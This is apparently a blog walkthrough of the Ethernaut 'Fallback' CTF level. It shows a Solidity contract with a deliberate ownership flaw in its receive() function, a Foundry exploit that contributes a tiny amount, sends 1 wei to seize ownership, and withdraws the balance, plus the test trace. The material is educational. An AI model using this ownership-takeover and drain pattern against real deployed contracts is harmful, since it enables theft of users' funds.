CTF walkthrough, Ethernaut, #2 Fallback

To complete this level we need become the owner of the contract and reduce its balance to zero.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

contract Fallback {
    mapping(address => uint256) public contributions;
    address payable public owner;

    constructor() {
        owner = payable(msg.sender);
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether, "msg.value must be < 0.001");
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = payable(msg.sender);
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = payable(msg.sender);
    }
}

I’ve modified the original level code and removed the SafeMath usage since we’re using solidity ^0.8.2.

Analysis

The Fallback contract has the contributions variable of type mapping(address => uint256). In the constructor it sets the owner variable to a deployer (msg.sender) and records that the owner donated 1000 ether.

constructor() {
    owner = payable(msg.sender);
    contributions[msg.sender] = 1000 * (1 ether);
}

This contract has 3 public functions and a single external receive function.

getContribution

function getContribution() public view returns (uint256) {
    return contributions[msg.sender];
}

Nothing interesting, this is just a getter function.

contribute

function contribute() public payable {
    require(msg.value < 0.001 ether, "msg.value must be < 0.001");
    contributions[msg.sender] += msg.value;
    if (contributions[msg.sender] > contributions[owner]) {
        owner = payable(msg.sender);
    }
}

After reading it we can tell that:

  • To become the owner of this contract we need to contribute more ETH than the previous owner
  • It is impossible to contribute more than 0.001 ETH at once. Remember the initial donation of the owner (was set in the constructor)? It is 1000 ETH.

So in theory this function is vulnerable, but it will take us a lot of time to exploit. Donating 1000 ETH means that we need to have 1000+ ETH on Rinkeby test network and call contribute at least 1000001 times.

withdraw

function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
}

This function transfers the contract’s balance to the owner. Notice that the Fallback contract has the onlyOwner modifier which restricts withdrawals to the owner.

receive

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = payable(msg.sender);
}

This is another function that sets the contract owner but this one is special. The receive function is used, well, to receive ETH (when msg.data is empty). It is executed on a call to the contract with empty calldata (msg.data). Remember the diagram from the solidity-by-example?

%%{init: {'theme':'neutral'}}%% flowchart LR A[send ETH] --> B{"msg.data is empty?"} B -- yes --> C{"receive() exists?"} C -- yes --> E["receive()"] C -- no --> F["fallback()"] B -- no --> D["fallback()"]

Reference: solidity docs

require(msg.value > 0 && contributions[msg.sender] > 0);
owner = payable(msg.sender);

The receive function is vulnerable 😈 but to set the owner we need to contribute something first.

We can come up with the following exploit scenario:

  1. Call contribute sending at least 0.001 ether
  2. Send to the Fallback contract at least 1 wei to call the receive function and change the owner
  3. Call withdraw and steal the funds

Framework

In the previous post I’ve said that I’ll copy and adapt levels and their factories from the ethernaut repository one by one as we progress. Let’s do that. This is a first example of level factory contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "../../game/LevelFactory.sol";
import "./Fallback.sol";

contract FallbackFactory is LevelFactory {
    function createInstance(address)
        public
        payable
        override
        returns (address)
    {
        Fallback instance = new Fallback();
        return address(instance);
    }

    function validateInstance(address payable _instance, address _player)
        public
        view
        override
        returns (bool)
    {
        Fallback instance = Fallback(_instance);
        return instance.owner() == _player && address(instance).balance == 0;
    }
}

It is very similar to the one in the Ethernaut repo. I just changed imports, Solidity version and removed the _player argument name.

Exploit

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import {Ethernaut} from "../game/Ethernaut.sol";
import {Fallback} from "../levels/Fallback/Fallback.sol";
import {FallbackFactory} from "../levels/Fallback/FallbackFactory.sol";
import {LevelTest} from "./common/LevelTest.sol";

contract FallbackTest is LevelTest {
  Fallback private level;

  constructor() {
    levelFactory = new FallbackFactory();
  }

  function testFallback() public {
    run();
  }

  function init() internal override {
    levelAddress = payable(this.create());
    level = Fallback(levelAddress);

    assertEq(level.owner(), address(levelFactory));
  }

  function exploit() internal override {
    vm.startPrank(player);

    level.contribute{value: 0.0009 ether}();
    (bool sent,) = levelAddress.call{value: 1}("");
    require(sent, "Failed to send 1 wei to Fallback contract");
    level.withdraw();

    vm.stopPrank();
  }
}

Let’s go over the exploit function:

  • A contribution must be less than 0.001 ether, so we donate 0.0009 ETH.
  • Now to call the receive function and to pass the require precondition we need to sent some ETH. Let’s sent just 1 wei.
  • Finally we call the withdraw function to drain contract’s balance.
$ forge test --match-contract FallbackTest -vvvv

Running 1 test for src/test/Fallback.t.sol:FallbackTest
[PASS] testFallback() (gas: 402049)
Traces:
  [402049] FallbackTest::testFallback()
    ├─ [303668] FallbackTest::create()
    │   ├─ [0] VM::prank(player: [...])
    │   │   └─ ← ()
    │   ├─ [291320] Ethernaut::createLevelInstance(FallbackFactory: [...])
    │   │   ├─ [239757] FallbackFactory::createInstance(player: [...])
    │   │   │   ├─ [207130] → new Fallback@"0x037f…dd8f"
    │   │   │   │   └─ ← 813 bytes of code
    │   │   │   └─ ← Fallback: [...]
    │   │   ├─ emit LevelInstanceCreatedLog(player: player: [...], instance: Fallback: [...])
    │   │   └─ ← Fallback: [...]
    │   └─ ← Fallback: [...]
    ├─ [359] Fallback::owner() [staticcall]
    │   └─ ← FallbackFactory: [...]
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [22923] Fallback::contribute{value: 900000000000000}()
    │   └─ ← ()
    ├─ [523] Fallback::fallback{value: 1}()
    │   └─ ← ()
    ├─ [7277] Fallback::withdraw()
    │   ├─ [0] player::fallback{value: 900000000000001}()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    ├─ [0] VM::startPrank(player: [...])
    │   └─ ← ()
    ├─ [4548] Ethernaut::submitLevelInstance(Fallback: [...])
    │   ├─ [1501] FallbackFactory::validateInstance(Fallback: [...], player: [...])
    │   │   ├─ [359] Fallback::owner() [staticcall]
    │   │   │   └─ ← player: [...]
    │   │   └─ ← true
    │   ├─ emit LevelCompletedLog(player: player: [...], level: FallbackFactory: [...])
    │   └─ ← true
    ├─ [0] VM::stopPrank()
    │   └─ ← ()
    └─ ← ()

Lessons learned

Anyone can call the receive (or fallback) function so be careful :P

The full code is here. Thank you for reading and let’s move on to the next challenge: CTF walkthrough, Ethernaut, #3 Fallout!